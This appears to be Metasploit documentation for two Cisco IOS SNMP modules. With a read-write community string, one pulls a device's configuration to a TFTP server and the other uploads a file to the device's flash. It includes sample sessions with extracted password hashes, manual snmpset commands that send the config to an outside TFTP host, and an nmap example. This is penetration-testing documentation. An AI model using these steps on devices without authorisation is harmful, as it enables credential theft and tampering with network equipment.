cisco snmp docs
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## Vulnerable Application
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Cisco IOS devices can be configured to back-up their running and startup configurations via SNMP.
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This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
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feature of IOS and many other networking devices, and is part of an administrator functionality.
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A read-write community string is required, as well as a tftp server (metasploit includes one).
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After the config has been copied, the SNMP paramters are deleted.
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## Verification Steps
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1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
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2. Start msfconsole
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3. Do: ```use auxiliary/scanner/snmp/cisco_config_tftp```
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4. Do: ```set COMMUNITY [read-write snmp]```
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5. Do: ```set rhosts [ip]```
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6. Do: ```run```
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## Options
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**COMMUNITY**
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The SNMP community string to use which must be read-write. Default is `public`.
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## Scenarios
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### Cisco UC520-8U-4FXO-K9 running IOS 12.4
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```
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msf5 > setg rhosts 2.2.2.2
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rhosts => 2.2.2.2
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msf5 > use auxiliary/scanner/snmp/cisco_config_tftp
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msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private
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community => private
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msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run
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[*] Starting TFTP server...
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[*] Scanning for vulnerable targets...
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[*] Trying to acquire configuration from 2.2.2.2...
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Providing some time for transfers to complete...
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[*] Incoming file from 2.2.2.2 - 2.2.2.2.txt 22831 bytes
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[+] 2.2.2.2:161 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
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[+] 2.2.2.2:161 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
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[+] 2.2.2.2:161 SNMP Community (RO): public
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[+] 2.2.2.2:161 SNMP Community (RW): private
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[*] Shutting down the TFTP service...
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[*] Auxiliary module execution completed
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```
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### Manual Interaction
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This process can also be executed manually utilizing Metasploit's TFTP server.
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Cisco's (documentation)[https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup]
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was utilized to create this process.
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1. Start the TFTP server
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```
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msf5 > use auxiliary/server/tftp
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msf5 auxiliary(server/tftp) > run
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[*] Auxiliary module running as background job 0.
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msf5 auxiliary(server/tftp) >
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[*] Starting TFTP server on 0.0.0.0:69...
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[*] Files will be served from /tmp
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[*] Uploaded files will be saved in /tmp
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```
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2. Execute the SNMP commands. An integer is required to group the requests together, `666` is used in this example.
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```
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msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
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[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
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iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1
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msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
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[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
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iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4
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msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
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[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
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iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1
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msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
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[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
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iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1
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msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
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[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
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iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config"
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msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
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[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
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iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1
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```
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3. At this point the config is transfering, we need to wait a few seconds. Lastly, we'll remove `666` from the system.
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```
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msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
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[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
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iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6
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```
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4. Confirm we have our config file
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```
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msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config
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[*] exec: ls -lah /tmp/backup_config
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-rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config
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```
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## Confirming using NMAP
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Utilizing the [snmp-ios-config](https://nmap.org/nsedoc/scripts/snmp-ios-config.html) script
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```
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nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:private 192.168.2.239
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Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 22:30 EDT
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Nmap scan report for 192.168.2.239
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Host is up (0.0034s latency).
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PORT STATE SERVICE
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161/udp open snmp
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| snmp-ios-config:
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| !
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| ! Last configuration change at 18:01:46 PST Fri Jan 7 2000 by cisco
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| ! NVRAM config last updated at 06:07:55 PST Tue Jan 4 2000 by cisco
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| !
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| version 12.4
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| parser config cache interface
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| no service pad
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| service timestamps debug datetime msec
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| service timestamps log datetime msec
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| no service password-encryption
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| service internal
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| service compress-config
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| service sequence-numbers
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| !
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| hostname UC520
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...sip...
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```
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@ -0,0 +1,49 @@
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## Vulnerable Application
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Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
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This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
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feature of IOS and many other networking devices, and is part of an administrator functionality.
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A read-write community string is required, as well as a tftp server (metasploit includes one).
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The file will be saved to `flash:`.
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## Verification Steps
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1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
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2. Start msfconsole
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3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
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4. Do: ```set COMMUNITY [read-write snmp]```
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5. Do: ```set rhosts [ip]```
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6. Do: ```set source [file]```
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7. Do: ```run```
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## Options
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**COMMUNITY**
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The SNMP community string to use which must be read-write. Default is `public`.
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**SOURCE**
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The location of the source file to be uploaded to the Cisco device.
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## Scenarios
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### Cisco UC520-8U-4FXO-K9 running IOS 12.4
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```
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msf5 > setg rhosts 2.2.2.2
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rhosts => 2.2.2.2
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msf5 > use auxiliary/scanner/snmp/cisco_upload_file
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msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2
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source => /tmp/backup_config2
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msf5 auxiliary(scanner/snmp/cisco_upload_file) > set community private
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community => private
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msf5 auxiliary(scanner/snmp/cisco_upload_file) > run
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[*] Starting TFTP server...
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[*] Copying file backup_config2 to 2.2.2.2...
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Providing some time for transfers to complete...
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[*] Shutting down the TFTP service...
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[*] Auxiliary module execution completed
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```
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